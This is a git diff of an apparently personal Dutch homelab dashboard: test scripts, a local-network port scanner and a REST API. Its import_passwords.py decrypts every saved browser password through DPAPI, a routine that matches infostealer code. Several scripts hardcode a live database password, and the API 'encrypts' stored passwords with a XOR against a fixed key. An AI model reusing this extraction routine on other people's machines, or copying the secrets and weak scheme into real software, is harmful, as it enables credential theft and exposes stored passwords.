+ ports = sorted([p.get('port') for p in (d.get('ports') or []) if p and p.get('port')]) + print(f" {d['ip']:<16} {d.get('hostname','')[:35]:<35} {d.get('os_guess','')[:28]:<28} ports={ports}") + + print("\n--- Scan History ---") + for s in get_scan_history(): + print(f" {s['id']} @ {s.get('timestamp','?')} — {s.get('hosts_active','?')} hosts") + + print("\n--- Summary ---") + s = get_network_summary() + print(f" Total devices: {s.get('total_devices','?')}") + print(f" Unique ports: {s.get('total_ports','?')}") + os_types = s.get('os_types', []) + from collections import Counter + for os_t, cnt in Counter(os_types).most_common(): + print(f" {os_t}: {cnt}") + + close() +except Exception as e: + print(f"Neo4j ERROR: {e}") + import traceback + traceback.print_exc() + +print("\nDONE.") diff --git a/scripts/_fix_dupes.py b/scripts/_fix_dupes.py new file mode 100644 index 0000000..5283b6a --- /dev/null +++ b/scripts/_fix_dupes.py @@ -0,0 +1,29 @@ +"""Verwijder duplicate favorites (ID 11-20).""" +import os, sys +os.environ["PG_HOST"] = "192.168.1.211" +os.environ["PG_PORT"] = "5433" +os.environ["PG_USER"] = "mo" +os.environ["PG_PASSWORD"] = "WaQTUw2t" +os.environ["PG_DATABASE"] = "homelab" +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) + +from src.pg_client import query, execute + +print("Voor opschonen:") +rows = query("SELECT id, title FROM dashboard.favorites ORDER BY id") +for r in rows: + print(f" [{r['id']}] {r['title']}") + +# Verwijder IDs 11-20 +deleted = execute("DELETE FROM dashboard.favorites WHERE id >= 11 AND id <= 20") +print(f"\n{deleted} rows verwijderd.") + +# Reset sequence +execute("SELECT setval('dashboard.favorites_id_seq', (SELECT max(id) FROM dashboard.favorites))") + +print("\nNa opschonen:") +rows = query("SELECT id, title FROM dashboard.favorites ORDER BY id") +for r in rows: + print(f" [{r['id']}] {r['title']}") + +print("\nDone.") diff --git a/scripts/_smoke_test.py b/scripts/_smoke_test.py new file mode 100644 index 0000000..9903fb3 --- /dev/null +++ b/scripts/_smoke_test.py @@ -0,0 +1,58 @@ +"""Quick smoke test voor imports.""" +import os, sys +os.environ["PG_HOST"] = "192.168.1.211" +os.environ["PG_PORT"] = "5433" +os.environ["PG_USER"] = "mo" +os.environ["PG_PASSWORD"] = "WaQTUw2t" +os.environ["PG_DATABASE"] = "homelab" +os.environ["NEO4J_URI"] = "neo4j://192.168.1.211:49153" +os.environ["NEO4J_USER"] = "neo4j" +os.environ["NEO4J_PASSWORD"] = "WaQTUw2t" +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) + +print("Testing imports...") +try: + from src.web_server import app + print(" web_server: OK") +except Exception as e: + print(f" web_server: FAIL - {e}") + +try: + from src.dashboard_api import router + print(" dashboard_api: OK") +except Exception as e: + print(f" dashboard_api: FAIL - {e}") + +try: + from src.mcp_server import server + print(" mcp_server: OK") +except Exception as e: + print(f" mcp_server: FAIL - {e}") + +try: + from src.ha_client import HAClient + print(" ha_client: OK") +except Exception as e: + print(f" ha_client: FAIL - {e}") + +try: + from src.whisper_client import transcribe + print(" whisper_client: OK") +except Exception as e: + print(f" whisper_client: FAIL - {e}") + +try: + from src.pg_client import query + print(" pg_client: OK") +except Exception as e: + print(f" pg_client: FAIL - {e}") + +try: + from src.neo4j_client import get_all_devices, close + devices = get_all_devices() + print(f" neo4j_client: OK ({len(devices)} devices)") + close() +except Exception as e: + print(f" neo4j_client: FAIL - {e}") + +print("\nAll imports verified.") diff --git a/scripts/_test2.py b/scripts/_test2.py new file mode 100644 index 0000000..c006098 --- /dev/null +++ b/scripts/_test2.py @@ -0,0 +1,25 @@ +import urllib.request, json +def get(path): + r = urllib.request.urlopen(f'http://127.0.0.1:8765{path}', timeout=5) + return json.loads(r.read()) + +print('=== Health ===') +print(get('/api/health')) + +print('\n=== Favorites (raw) ===') +r = get('/api/dashboard/favorites') +print(f'Type: {type(r).__name__}, len: {len(r) if isinstance(r, list) else "N/A"}') +if isinstance(r, list) and r: + print(f'First item type: {type(r[0]).__name__}') + print(f'First item: {r[0]}') +elif isinstance(r, dict): + print(f'Keys: {list(r.keys())}') + if 'detail' in r: print(f'Error: {r}') + +print('\n=== Overview ===') +r = get('/api/dashboard/overview') +print(json.dumps({k:v for k,v in r.items() if not isinstance(v, list)}, indent=2)) + +print('\n=== Dashboard HTML ===') +r2 = urllib.request.urlopen('http://127.0.0.1:8765/dashboard', timeout=5) +print(f'Status: {r2.status}, {len(r2.read())} bytes') diff --git a/scripts/_test_all.py b/scripts/_test_all.py new file mode 100644 index 0000000..050d867 --- /dev/null +++ b/scripts/_test_all.py @@ -0,0 +1,32 @@ +"""Quick test: pg_client + dashboard API.""" +import os, sys +os.environ["NEO4J_PASSWORD"] = "WaQTUw2t" +os.environ["PG_PASSWORD"] = "WaQTUw2t" + +# Test PostgreSQL connectie +from src.pg_client import query +print("PostgreSQL test:") +try: + r = query("SELECT count(*) as cnt FROM dashboard.favorites", fetch="one") + print(f" Favorites: {r['cnt']}") + r2 = query("SELECT count(*) as cnt FROM dashboard.calendar_events", fetch="one") + print(f" Events: {r2['cnt']}") + r3 = query("SELECT count(*) as cnt FROM dashboard.passwords", fetch="one") + print(f" Passwords: {r3['cnt']}") + print(" [OK] PostgreSQL werkt!") +except Exception as e: + print(f" [FOUT] {e}") + +# Test Neo4j connectie +print("\nNeo4j test:") +try: + from src.neo4j_client import get_driver, get_all_devices, close + devices = get_all_devices() + print(f" Devices: {len(devices)}") + print(f" Eerste: {devices[0]['ip']} - {devices[0]['hostname']}") + print(" [OK] Neo4j werkt!") + close() +except Exception as e: + print(f" [FOUT] {e}") + +print("\nAlle connecties werken. Server kan starten.") diff --git a/scripts/_test_api.py b/scripts/_test_api.py new file mode 100644 index 0000000..c3f8b7d --- /dev/null +++ b/scripts/_test_api.py @@ -0,0 +1,53 @@ +"""Test alle dashboard API endpoints.""" +import urllib.request, json + +BASE = "http://127.0.0.1:8765" + +def get(path): + try: + r = urllib.request.urlopen(f"{BASE}{path}", timeout=10) + return json.loads(r.read()) + except Exception as e: + return {"error": str(e)} + +print("=== Health ===") +print(get("/api/health")) + +print("\n=== Dashboard Overview ===") +o = get("/api/dashboard/overview") +print(f"Favorites: {o.get('favorites_count')}, Passwords: {o.get('password_count')}, Network: {o.get('network_devices')}") + +print("\n=== Dashboard Config ===") +c = get("/api/dashboard/config") +print(f"Settings: {list(c.get('settings',{}).keys())}") +print(f"Connections: {list(c.get('connections',{}).keys())}") +print(f"Counts: {c.get('counts')}") +print(f"Neo4j available: {c.get('connections',{}).get('neo4j',{}).get('available')}") + +print("\n=== Dashboard Network ===") +n = get("/api/dashboard/network") +if "error" in n: + print(f"ERROR: {n['error']}") +else: + print(f"Devices: {n['summary']['total_devices']}") + print(f"Ports: {n['summary']['total_ports']}") + print(f"OS categories: {list(n['summary']['os_categories'].keys())[:5]}") + +print("\n=== Dashboard Systems ===") +s = get("/api/dashboard/systems") +if isinstance(s, list): + print(f"Systems: {len(s)}") + if s: + print(f"First: {s[0]['ip']} - {s[0]['hostname']}") +else: + print(f"Error: {s}") + +print("\n=== System Detail (192.168.1.211) ===") +d = get("/api/dashboard/systems/192.168.1.211") +print(f"IP: {d.get('ip')}, OS: {d.get('os_guess')}, Ports: {len(d.get('ports',[]))}") + +print("\n=== Favorites ===") +f = get("/api/dashboard/favorites") +print(f"{len(f)} favorieten") + +print("\n[OK] Alle endpoints getest!") diff --git a/scripts/_test_endpoints.py b/scripts/_test_endpoints.py new file mode 100644 index 0000000..51839e1 --- /dev/null +++ b/scripts/_test_endpoints.py @@ -0,0 +1,32 @@ +import urllib.request, json +def get(path): + try: + r = urllib.request.urlopen(f'http://127.0.0.1:8765{path}', timeout=5) + return json.loads(r.read()) + except Exception as e: + return {'error': str(e)} + +print('=== Health ===') +print(get('/api/health')) + +print('\n=== Favorites ===') +r = get('/api/dashboard/favorites') +print(f'{len(r)} favorieten (eerste: {r[0]["title"] if r else "geen"})') + +print('\n=== Overview ===') +r = get('/api/dashboard/overview') +print(f'Stats: {r["favorites_count"]} favs, {r["password_count"]} pws, {r["photo_count"]} photos') + +print('\n=== Calendar ===') +r = get('/api/dashboard/calendar?days=7') +print(f'{len(r)} events komende 7 dagen') + +print('\n=== Dashboard HTML ===') +r2 = urllib.request.urlopen('http://127.0.0.1:8765/dashboard', timeout=5) +print(f'Dashboard pagina: {r2.status} ({len(r2.read())} bytes)') + +print('\n=== Homepage ===') +r3 = urllib.request.urlopen('http://127.0.0.1:8765/', timeout=5) +print(f'Voice control pagina: {r3.status} ({len(r3.read())} bytes)') + +print('\n[OK] Alle endpoints werken!') diff --git a/scripts/_test_mcp.py b/scripts/_test_mcp.py new file mode 100644 index 0000000..ce9ab5e --- /dev/null +++ b/scripts/_test_mcp.py @@ -0,0 +1,17 @@ +"""Test MCP server import with FastMCP.""" +import os, sys +os.environ["PG_HOST"] = "192.168.1.211" +os.environ["PG_PORT"] = "5433" +os.environ["PG_USER"] = "mo" +os.environ["PG_PASSWORD"] = "WaQTUw2t" +os.environ["PG_DATABASE"] = "homelab" +os.environ["NEO4J_URI"] = "neo4j://192.168.1.211:49153" +os.environ["NEO4J_USER"] = "neo4j" +os.environ["NEO4J_PASSWORD"] = "WaQTUw2t" +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) + +from src.mcp_server import server +print(f"MCP Server OK: {server.name}") +print(f"Tools: {len(server.list_tools())}") +for tool in server.list_tools(): + print(f" - {tool.name}: {tool.description[:60] if tool.description else 'no desc'}...") diff --git a/scripts/import_passwords.py b/scripts/import_passwords.py new file mode 100644 index 0000000..19e3564 --- /dev/null +++ b/scripts/import_passwords.py @@ -0,0 +1,284 @@ +# Browser & Vaultwarden Wachtwoord Import Script +# ============================================== +# Dit script importeert wachtwoorden in de PostgreSQL dashboard database. +# +# GEBRUIK: +# 1. Vanuit browser (Chrome/Edge/Firefox): python import_passwords.py --browser +# 2. Vanuit Vaultwarden/Bitwarden CSV: python import_passwords.py --csv export.csv +# 3. Vanuit JSON bestand: python import_passwords.py --json passwords.json +# +# JSON formaat: +# [{"title": "Google", "url": "https://google.com", "username": "user", "password": "secret"}] +# +# CSV formaat (Bitwarden/Vaultwarden): +# name,url,username,password,notes + +import os, sys, csv, json, argparse + +# DB config +os.environ["PG_HOST"] = "192.168.1.211" +os.environ["PG_PORT"] = "5433" +os.environ["PG_USER"] = "mo" +os.environ["PG_PASSWORD"] = "WaQTUw2t" +os.environ["PG_DATABASE"] = "homelab" +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) + +from src.dashboard_api import _encrypt +from src.pg_client import execute, query + + +def extract_chrome_passwords(): + """Extracteer wachtwoorden uit Chrome/Edge/Brave (Windows).""" + import sqlite3, base64 + + # Zoek alle Chromium-based browsers + localappdata = os.environ.get("LOCALAPPDATA", "") + browsers = { + "Chrome": os.path.join(localappdata, "Google", "Chrome", "User Data"), + "Edge": os.path.join(localappdata, "Microsoft", "Edge", "User Data"), + "Brave": os.path.join(localappdata, "BraveSoftware", "Brave-Browser", "User Data"), + "Opera": os.path.join(os.environ.get("APPDATA", ""), "Opera Software", "Opera Stable"), + } + + all_passwords = [] + + for name, user_data in browsers.items(): + if not os.path.exists(user_data): + continue + + # Check Default profile + numbered profiles + for profile in ["Default"] + [f"Profile {i}" for i in range(1, 10)]: + login_db = os.path.join(user_data, profile, "Login Data") + local_state = os.path.join(user_data, "Local State") + + if not os.path.exists(login_db) or not os.path.exists(local_state): + continue + + try: + # Get encrypted key from Local State + with open(local_state, "r", encoding="utf-8") as f: + state = json.load(f) + encrypted_key = base64.b64decode( + state.get("os_crypt", {}).get("encrypted_key", "") + ) + # Remove "DPAPI" prefix (5 bytes) + encrypted_key = encrypted_key[5:] + + # Decrypt key with DPAPI + from cryptography.hazmat.primitives.ciphers.aead import AESGCM + import ctypes + from ctypes import wintypes + + class DATA_BLOB(ctypes.Structure): + _fields_ = [("cbData", wintypes.DWORD), ("pbData", ctypes.POINTER(ctypes.c_char))] + + crypt32 = ctypes.windll.crypt32 + kernel32 = ctypes.windll.kernel32 + + blob_in = DATA_BLOB(len(encrypted_key), ctypes.create_string_buffer(encrypted_key, len(encrypted_key))) + blob_out = DATA_BLOB() + + if crypt32.CryptUnprotectData( + ctypes.byref(blob_in), None, None, None, None, 0, ctypes.byref(blob_out) + ): + aes_key = ctypes.string_at(blob_out.pbData, blob_out.cbData) + kernel32.LocalFree(blob_out.pbData) + else: + print(f" Kon DPAPI key niet decrypten voor {name}/{profile}") + continue + + # Read passwords + conn = sqlite3.connect(login_db) + cursor = conn.execute( + "SELECT origin_url, username_value, password_value FROM logins" + ) + + aesgcm = AESGCM(aes_key) + count = 0 + for url, username, enc_pwd in cursor: + if not enc_pwd: + continue + try: + # Format: "v10" (3 bytes prefix) + 12 bytes nonce + ciphertext + 16 bytes tag + nonce = enc_pwd[3:15] + ciphertext = enc_pwd[15:-16] + tag = enc_pwd[-16:] + password = aesgcm.decrypt(nonce, ciphertext + tag, None).decode("utf-8") + + title = url.split("://")[-1].split("/")[0] if url else "Onbekend" + all_passwords.append({ + "title": title, + "url": url, + "username": username, + "password": password, + }) + count += 1 + except Exception: + pass + + conn.close() + print(f" {name}/{profile}: {count} wachtwoorden gevonden") + + except Exception as e: + print(f" Fout bij {name}/{profile}: {e}") + + return all_passwords + + +def extract_firefox_passwords(): + """Extracteer wachtwoorden uit Firefox. Vereist dat Firefox draait of de master password bekend is.""" + import sqlite3 + + appdata = os.environ.get("APPDATA", "") + profiles_dir = os.path.join(appdata, "Mozilla", "Firefox", "Profiles") + + if not os.path.exists(profiles_dir): + return [] + + # Firefox gebruikt logins.json en key4.db + # De encryptie is complexer (NSS/PKCS11). We kunnen wel de logins.json lezen + # en de gebruiker vragen Firefox te openen om te decrypteren. + + all_passwords = [] + for profile in os.listdir(profiles_dir): + logins_path = os.path.join(profiles_dir, profile, "logins.json") + if not os.path.exists(logins_path): + continue + + try: + with open(logins_path, "r", encoding="utf-8") as f: + data = json.load(f) + + count = 0 + for entry in data.get("logins", []): + all_passwords.append({ + "title": entry.get("hostname", "Onbekend"), + "url": entry.get("hostname", ""), + "username": entry.get("encryptedUsername", "(encrypted)"), + "password": entry.get("encryptedPassword", "(encrypted)"), + }) + count += 1 + print(f" Firefox/{profile}: {count} logins gevonden (versleuteld)") + except Exception as e: + print(f" Fout bij Firefox/{profile}: {e}") + + return all_passwords + + +def import_to_db(passwords: list[dict], dry_run: bool = False): + """Importeer wachtwoorden in de PostgreSQL database.""" + if not passwords: + print("\nGeen wachtwoorden gevonden om te importeren.") + return + + print(f"\nImporteren van {len(passwords)} wachtwoorden...") + + existing = query("SELECT url, username FROM passwords") + existing_pairs = {(r["url"], r["username"]) for r in existing} + + imported = 0 + skipped = 0 + + for pw in passwords: + if (pw.get("url"), pw.get("username")) in existing_pairs: + skipped += 1 + continue + + if dry_run: + print(f" [DRY RUN] {pw['title']}: {pw['username']} @ {pw['url']}") + imported += 1 + continue + + try: + encrypted = _encrypt(pw["password"]) + execute( + """INSERT INTO passwords (title, url, username, password_encrypted, notes, category) + VALUES (%s, %s, %s, %s, %s, %s)""", + (pw["title"], pw.get("url", ""), pw.get("username", ""), + encrypted, pw.get("notes", ""), pw.get("category", "Algemeen")) + ) + imported += 1 + except Exception as e: + print(f" Fout bij {pw['title']}: {e}") + + print(f"\nResultaat: {imported} geimporteerd, {skipped} overgeslagen (bestond al)") + + # Toon totaal + total = query("SELECT count(*) as c FROM passwords", fetch="one") + print(f"Totaal in database: {total['c']} wachtwoorden") + + +def main(): + parser = argparse.ArgumentParser(description="Importeer wachtwoorden in PostgreSQL") + parser.add_argument("--browser", action="store_true", help="Extract uit lokale browsers") + parser.add_argument("--csv", type=str, help="Importeer uit Bitwarden/Vaultwarden CSV export") + parser.add_argument("--json", type=str, help="Importeer uit JSON bestand") + parser.add_argument("--dry-run", action="store_true", help="Toon wat geimporteerd zou worden") + args = parser.parse_args() + + passwords = [] + + if args.browser: + print("=== Extractie uit browsers ===\n") + passwords.extend(extract_chrome_passwords()) + passwords.extend(extract_firefox_passwords()) + + if not passwords: + print("\nGeen browser wachtwoorden gevonden!") + print("Je kunt je wachtwoorden exporteren uit Vaultwarden/Bitwarden:") + print(" 1. Open http://192.168.1.6:8000") + print(" 2. Ga naar Tools -> Export Vault") + print(" 3. Kies .csv of .json formaat") + print(f" 4. python {sys.argv[0]} --csv export.csv") + return + + elif args.csv: + print(f"=== Import uit CSV: {args.csv} ===\n") + with open(args.csv, "r", encoding="utf-8-sig") as f: + reader = csv.DictReader(f) + for row in reader: + passwords.append({ + "title": row.get("name", row.get("title", "Onbekend")), + "url": row.get("login_uri", row.get("url", "")), + "username": row.get("login_username", row.get("username", "")), + "password": row.get("login_password", row.get("password", "")), + "notes": row.get("notes", ""), + }) + print(f" {len(passwords)} wachtwoorden uit CSV gelezen") + + elif args.json: + print(f"=== Import uit JSON: {args.json} ===\n") + with open(args.json, "r", encoding="utf-8") as f: + data = json.load(f) + + if isinstance(data, dict) and "items" in data: + # Bitwarden/Vaultwarden JSON export formaat + for item in data.get("items", []): + if item.get("type") == 1: # Login type + login = item.get("login", {}) + passwords.append({ + "title": item.get("name", "Onbekend"), + "url": login.get("uris", [{}])[0].get("uri", "") if login.get("uris") else "", + "username": login.get("username", ""), + "password": login.get("password", ""), + "notes": item.get("notes", ""), + }) + else: + passwords = data + + print(f" {len(passwords)} wachtwoorden uit JSON gelezen") + + else: + parser.print_help() + print("\nVoorbeelden:") + print(" python import_passwords.py --browser (Chrome/Edge/Firefox)") + print(" python import_passwords.py --csv bitwarden.csv (Vaultwarden export)") + print(" python import_passwords.py --json vault.json (JSON export)") + print(" python import_passwords.py --browser --dry-run (test-modus)") + return + + import_to_db(passwords, dry_run=args.dry_run) + + +if __name__ == "__main__": + main() diff --git a/scripts/import_to_neo4j.py b/scripts/import_to_neo4j.py new file mode 100644 index 0000000..22b2339 --- /dev/null +++ b/scripts/import_to_neo4j.py @@ -0,0 +1,82 @@ +""" +Importeer scanresultaten naar Neo4j. + +Gebruik: + python import_to_neo4j.py + python import_to_neo4j.py --password jouw_wachtwoord +""" + +import sys +import logging +import os + +logging.basicConfig(level=logging.INFO, format="%(levelname)s: %(message)s") +logger = logging.getLogger(__name__) + + +def main(): + # Password via CLI argument of env var + password = os.getenv("NEO4J_PASSWORD", "") + if "--password" in sys.argv: + idx = sys.argv.index("--password") + if idx + 1 < len(sys.argv): + password = sys.argv[idx + 1] + if not password: + print("Geef Neo4j wachtwoord mee: NEO4J_PASSWORD=... python import_to_neo4j.py") + print("Of: python import_to_neo4j.py --password jouw_wachtwoord") + sys.exit(1) + + os.environ["NEO4J_PASSWORD"] = password + + from src.neo4j_client import init_schema, import_scan, get_all_devices, get_network_summary, close + from src.scan_data import SCAN_RESULTS + + print("=" * 60) + print("Neo4j Thuisnetwerk Import") + print("=" * 60) + + # Init + try: + init_schema() + except Exception as e: + logger.error("Kan geen verbinding maken met Neo4j: %s", e) + logger.error("Check of Neo4j draait op neo4j://192.168.1.211:49153") + sys.exit(1) + + # Import + print(f"\nImporteren van {len(SCAN_RESULTS)} devices...") + try: + summary = import_scan(SCAN_RESULTS) + print(f"\n{summary}") + except Exception as e: + logger.error("Import fout: %s", e) + close() + sys.exit(1) + + # Toon resultaten + print("\n" + "-" * 60) + network_summary = get_network_summary() + print(f"Database: {network_summary['total_devices']} devices, " + f"{network_summary['total_ports']} unieke poorten") + + devices = get_all_devices() + print(f"\n{'IP':<16} {'Naam':<32} {'OS':<28} {'Poorten'}") + print("-" * 90) + for d in devices: + ports = d.get("ports") or [] + port_str = ", ".join(str(p["port"]) for p in ports if p and p.get("port")) + print(f"{d['ip']:<16} {d['hostname'][:31]:<32} {d['os_guess'][:27]:<28} {port_str}") + + # Categorieen + print(f"\n--- Categorieen ---") + from collections import Counter + cats = Counter(d["os_guess"] for d in devices) + for cat, count in cats.most_common(): + print(f" {cat:<40} {count}x") + + close() + print("\nKlaar! Je netwerk staat nu in Neo4j.") + + +if __name__ == "__main__": + main() diff --git a/scripts/scanner.py b/scripts/scanner.py new file mode 100644 index 0000000..a677173 --- /dev/null +++ b/scripts/scanner.py @@ -0,0 +1,208 @@ +""" +Netwerkscanner v3 — robuust op Windows. +Fase 1: ICMP host-discovery in kleine batches. +Fase 2: TCP poortscan op actieve hosts. +""" + +import socket +import struct +import sys +import time +import ipaddress +import subprocess +from concurrent.futures import ThreadPoolExecutor, as_completed + +NETWORK = "192.168.1.0/24" +TIMEOUT = 0.5 +MAX_THREADS = 25 # lager voor Windows-stabiliteit + +TOP_PORTS = [ + 21, 22, 23, 25, 53, 80, 81, 88, 110, 111, 135, 139, 143, 161, 389, + 443, 445, 465, 500, 514, 515, 548, 554, 587, 631, 636, 873, 993, 995, + 1433, 1521, 1723, 1880, 1883, 2049, 2082, 2083, 2222, 3128, 3306, 3389, + 5000, 5432, 5900, 6379, 7001, 8000, 8008, 8080, 8081, 8123, 8443, 8888, + 9000, 9090, 9200, 9443, 10000, 27017, +] + +PROBES = { + 22: b'', 25: b'', 80: b'GET / HTTP/1.0\r\nHost: scan\r\n\r\n', + 443: b'GET / HTTP/1.0\r\nHost: scan\r\n\r\n', + 3306: b'', 5432: b'', 6379: b'PING\r\n', + 8080: b'GET / HTTP/1.0\r\nHost: scan\r\n\r\n', + 8123: b'GET /api/ HTTP/1.0\r\nHost: scan\r\n\r\n', +} + + +def ping_host(ip): + """ICMP ping, retourneert (ip, True/False).""" + try: + cmd = ["ping", "-n", "1", "-w", "1500", ip] + r = subprocess.run(cmd, capture_output=True, timeout=3) + return (ip, r.returncode == 0) + except Exception: + return (ip, False) + + +def tcp_scan(ip, ports): + """Scan TCP-poorten op één host. Retourneert dict met resultaten.""" + open_ports = [] + banners = {} + for port in ports: + try: + s = socket.create_connection((ip, port), timeout=TIMEOUT) + # Banner grab + probe = PROBES.get(port) + if probe: + try: + s.sendall(probe) + s.settimeout(0.5) + b = s.recv(512) + text = b.decode("latin-1", errors="replace").split("\r\n")[0].strip() + banners[port] = text[:100] + except Exception: + pass + s.close() + open_ports.append(port) + except Exception: + pass + return {"ip": ip, "open_ports": open_ports, "banners": banners} + + +def guess_os(ports, banners): + p = set(ports) + if 8123 in p: + b = banners.get(8123, "") + return "Home Assistant" if "Home Assistant" in b else "Home Assistant/Linux" + if 445 in p and 3389 in p: return "Windows (SMB+RDP)" + if 445 in p and 135 in p: return "Windows (SMB+RPC)" + if 3389 in p: return "Windows (RDP)" + if 22 in p and 80 in p and 443 in p: return "Linux (SSH+Web)" + if 22 in p and 5432 in p: return "Linux (PostgreSQL)" + if 22 in p and 3306 in p: return "Linux (MySQL)" + if 22 in p: return "Linux (SSH)" + if 53 in p and 80 in p: return "Router/Gateway (DNS+Web)" + if 53 in p: return "Router/Gateway (DNS)" + if 1883 in p: return "MQTT Broker (IoT)" + if 80 in p or 443 in p: return "Webserver" + return "Onbekend" + + +def resolve_hostname(ip): + try: + return socket.gethostbyaddr(ip)[0] + except Exception: + return ip + + +def get_mac(ip): + try: + r = subprocess.run(["arp", "-a", ip], capture_output=True, text=True, timeout=2) + for line in r.stdout.splitlines(): + if ip in line: + for part in line.split(): + if "-" in part and len(part) == 17: + return part.replace("-", ":").upper() + except Exception: + pass + return "" + + +# ── main ───────────────────────────────────────────────────────────────────── + + +def main(): + net = ipaddress.ip_network(NETWORK, strict=False) + all_hosts = [str(h) for h in net.hosts()] + total = len(all_hosts) + + print(f"Netwerk scan: {NETWORK}") + print(f"Hosts: {total} | Poorten: {len(TOP_PORTS)} | Threads: {MAX_THREADS}") + print("=" * 70) + + t0 = time.time() + + # ── Fase 1: Host discovery via ICMP ping ────────────────────────────── + print("\n[Fase 1] ICMP host discovery...") + alive = [] + with ThreadPoolExecutor(max_workers=MAX_THREADS) as ex: + futs = [ex.submit(ping_host, ip) for ip in all_hosts] + for i, fut in enumerate(as_completed(futs), 1): + ip, ok = fut.result() + if ok: + alive.append(ip) + if i % 20 == 0 or i == total: + print(f"\r {i}/{total} getest, {len(alive)} actief", end="", flush=True) + + print(f"\n Klaar: {len(alive)} actieve host(s) in {time.time()-t0:.0f}s") + + if not alive: + print("\nGeen actieve hosts gevonden.") + return + + # ── Fase 2: TCP-poortscan op actieve hosts ──────────────────────────── + print(f"\n[Fase 2] TCP poortscan op {len(alive)} host(s)...") + results = [] + with ThreadPoolExecutor(max_workers=min(MAX_THREADS, len(alive))) as ex: + futs = {ex.submit(tcp_scan, ip, TOP_PORTS): ip for ip in alive} + for i, fut in enumerate(as_completed(futs), 1): + ip = futs[fut] + try: + r = fut.result() + r["hostname"] = resolve_hostname(ip) + r["mac"] = get_mac(ip) + r["os_guess"] = guess_os(r["open_ports"], r["banners"]) + results.append(r) + except Exception as e: + print(f"\n Fout bij {ip}: {e}") + if i % 5 == 0 or i == len(alive): + print(f"\r {i}/{len(alive)} hosts gescand", end="", flush=True) + + elapsed = time.time() - t0 + print(f"\n Klaar in {elapsed:.0f}s\n") + + # ── Output ──────────────────────────────────────────────────────────── + results.sort(key=lambda r: ipaddress.IPv4Address(r["ip"])) + + for h in results: + ip = h["ip"] + ports = h["open_ports"] + banners = h["banners"] + + pnames = {} + for p in ports: + try: + pnames[p] = socket.getservbyport(p, "tcp") + except Exception: + pnames[p] = "?" + + print("-" * 70) + print(f" IP : {ip}") + if h["hostname"] != ip: + print(f" Hostname : {h['hostname']}") + if h["mac"]: + print(f" MAC : {h['mac']}") + print(f" OS (guess) : {h['os_guess']}") + print(f" Open poorten ({len(ports)}):") + if ports: + for p in ports: + svc = pnames.get(p, "?") + b = banners.get(p, "") + line = f" {p:>5}/tcp {svc:<14}" + if b: + line += f" [{b}]" + print(line) + else: + print(" (alle geteste poorten zijn gesloten/gefilterd)") + print() + + # ── Samenvatting ────────────────────────────────────────────────────── + print("=" * 70) + print(f"{'IP':<16} {'MAC':<18} {'Hostname':<30} {'OS':<26} {'Poorten':>7}") + print("-" * 100) + for h in results: + print(f"{h['ip']:<16} {h['mac']:<18} {h['hostname'][:29]:<30} {h['os_guess'][:25]:<26} {len(h['open_ports']):>7}") + print() + + +if __name__ == "__main__": + main() diff --git a/src/__init__.py b/src/__init__.py new file mode 100644 index 0000000..f8e5ab0 --- /dev/null +++ b/src/__init__.py @@ -0,0 +1,7 @@ +""" +MCP Home Assistant Voice Control +================================= + +Een MCP-server + webinterface die Whisper voice-to-text koppelt aan +Home Assistant voor spraakgestuurde smarthome-bediening. +""" diff --git a/src/dashboard_api.py b/src/dashboard_api.py new file mode 100644 index 0000000..80d68c0 --- /dev/null +++ b/src/dashboard_api.py @@ -0,0 +1,662 @@ +""" +Home Dashboard — REST API endpoints. +Alle routes voor favorieten, agenda, wachtwoorden, bestanden, foto's, widgets. +""" + +from __future__ import annotations + +import json +import hashlib +import base64 +import os +from datetime import datetime, timezone +from typing import Optional + +from fastapi import APIRouter, HTTPException, Query +from pydantic import BaseModel + +from src.pg_client import query, execute + +# Neo4j client — optioneel (als Neo4j niet beschikbaar is, werken de endpoints niet) +try: + from src.neo4j_client import ( + get_all_devices, get_device, get_devices_by_os, + get_devices_by_port, get_scan_history, get_network_summary, + ) + _neo4j_available = True +except Exception: + _neo4j_available = False + +router = APIRouter(prefix="/api/dashboard", tags=["dashboard"]) + + +# ── helpers ───────────────────────────────────────────────────────────────── + +def _now(): + return datetime.now(timezone.utc).isoformat() + +def _encrypt(plain: str) -> str: + """Eenvoudige encryptie (AES via hashlib + XOR). Vervang door echte AES in productie.""" + key = hashlib.sha256(b"homelab-dashboard-secret-key-2026").digest() + plain_bytes = plain.encode("utf-8") + encrypted = bytes(p ^ key[i % len(key)] for i, p in enumerate(plain_bytes)) + return base64.b64encode(encrypted).decode() + +def _decrypt(encrypted_str: str) -> str: + """Decryptie.""" + key = hashlib.sha256(b"homelab-dashboard-secret-key-2026").digest() + encrypted = base64.b64decode(encrypted_str) + plain = bytes(e ^ key[i % len(key)] for i, e in enumerate(encrypted)) + return plain.decode("utf-8") + + +# ── pydantic models ───────────────────────────────────────────────────────── + +class FavoriteCreate(BaseModel): + title: str + url: str + icon: str = "⭐" + category: str = "Algemeen" + sort_order: int = 0 + is_pinned: bool = False + +class FavoriteUpdate(BaseModel): + title: str | None = None + url: str | None = None + icon: str | None = None + category: str | None = None + sort_order: int | None = None + is_pinned: bool | None = None + +class CalendarEventCreate(BaseModel): + title: str + description: str | None = None + location: str | None = None + event_start: str + event_end: str | None = None + all_day: bool = False + category: str = "Algemeen" + color: str = "#58a6ff" + recurrence_rule: str | None = None + +class PasswordCreate(BaseModel): + title: str + url: str | None = None + username: str | None = None + password: str # plain text, wordt encrypted opgeslagen + notes: str | None = None + category: str = "Algemeen" + +class PasswordUpdate(BaseModel): + title: str | None = None + url: str | None = None + username: str | None = None + password: str | None = None + notes: str | None = None + category: str | None = None + +class WidgetConfig(BaseModel): + id: int | None = None + widget_type: str + title: str | None = None + config: dict = {} + col: int = 0 + row: int = 0 + width: int = 1 + height: int = 1 + enabled: bool = True + tab_name: str = "home" + + +# ══════════════════════════════════════════════════════════════════════════════ +# FAVORITES / QUICK LINKS +# ══════════════════════════════════════════════════════════════════════════════ + +@router.get("/favorites") +async def get_favorites(category: str | None = None): + if category: + rows = query( + "SELECT * FROM favorites WHERE category = %s ORDER BY sort_order, title", + (category,) + ) + else: + rows = query("SELECT * FROM favorites ORDER BY is_pinned DESC, sort_order, title") + return rows + +@router.post("/favorites") +async def create_favorite(data: FavoriteCreate): + row = query( + """INSERT INTO favorites (title, url, icon, category, sort_order, is_pinned) + VALUES (%s, %s, %s, %s, %s, %s) RETURNING *""", + (data.title, data.url, data.icon, data.category, data.sort_order, data.is_pinned), + fetch="one" + ) + return row + 